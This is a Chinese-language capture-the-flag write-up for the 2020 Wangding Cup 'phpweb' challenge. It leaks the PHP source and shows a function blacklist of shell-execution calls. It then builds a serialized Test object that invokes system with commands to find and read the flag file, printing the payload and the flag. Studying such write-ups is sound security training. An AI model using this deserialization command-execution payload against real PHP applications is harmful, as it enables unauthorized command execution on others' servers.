[网鼎杯 2020 朱雀组]phpweb

[网鼎杯 2020 朱雀组]phpweb

前置知识：

这前置知识都是老演员了

序列化简介：

简单讲，序列化其实就是将数据转换成一种可逆的数据结构，自然，逆向的过程就是反序列化。

举个例子：

现在我们都会在淘宝上买桌子，桌子这种很不规则的东西，该怎么从一个城市运输等到另一个城市，这时候一般都会把他拆掉成板子，再装到箱子里面，就可以快递出去了，这个过程就类似我们的序列化的过程（把数据转化为可以存储或者传传输的形式）。

反序列化

当买家收到货以后，就需要自己把这些板子组装成桌字的样子，这个过程就像反序列化的过程（转化成当初的数据对象）。

打开连接过一会发现报错了，抓个包试试

发现POST返回中有两个参数func猜测是function ，p是pyload

使用函数file_get_contents来获取index.php源码

下面展示代码 源码。

<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

源码审计发现很多函数都被禁用了最难受的是禁用了system
但是还有file_get_contents、cat、serialize
serialize这里就很重要了因为源码中提供了class类

$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");

p参数有传了三个值，构造pyload运行如下：

<?php
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $a = new Test();
    $a->p = "ls ../../../";
    $a->p = "find / -name 'flag*'";
    $a->p = "cat /tmp/flagoefiu4r93";
    $a->func = 'system';
    echo (serialize($a));
    ?>


//运行结果
O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

抓包发送pyload得flag

flag:
flag{deae5b74-dec2-4b19-b161-35a8185a1f94}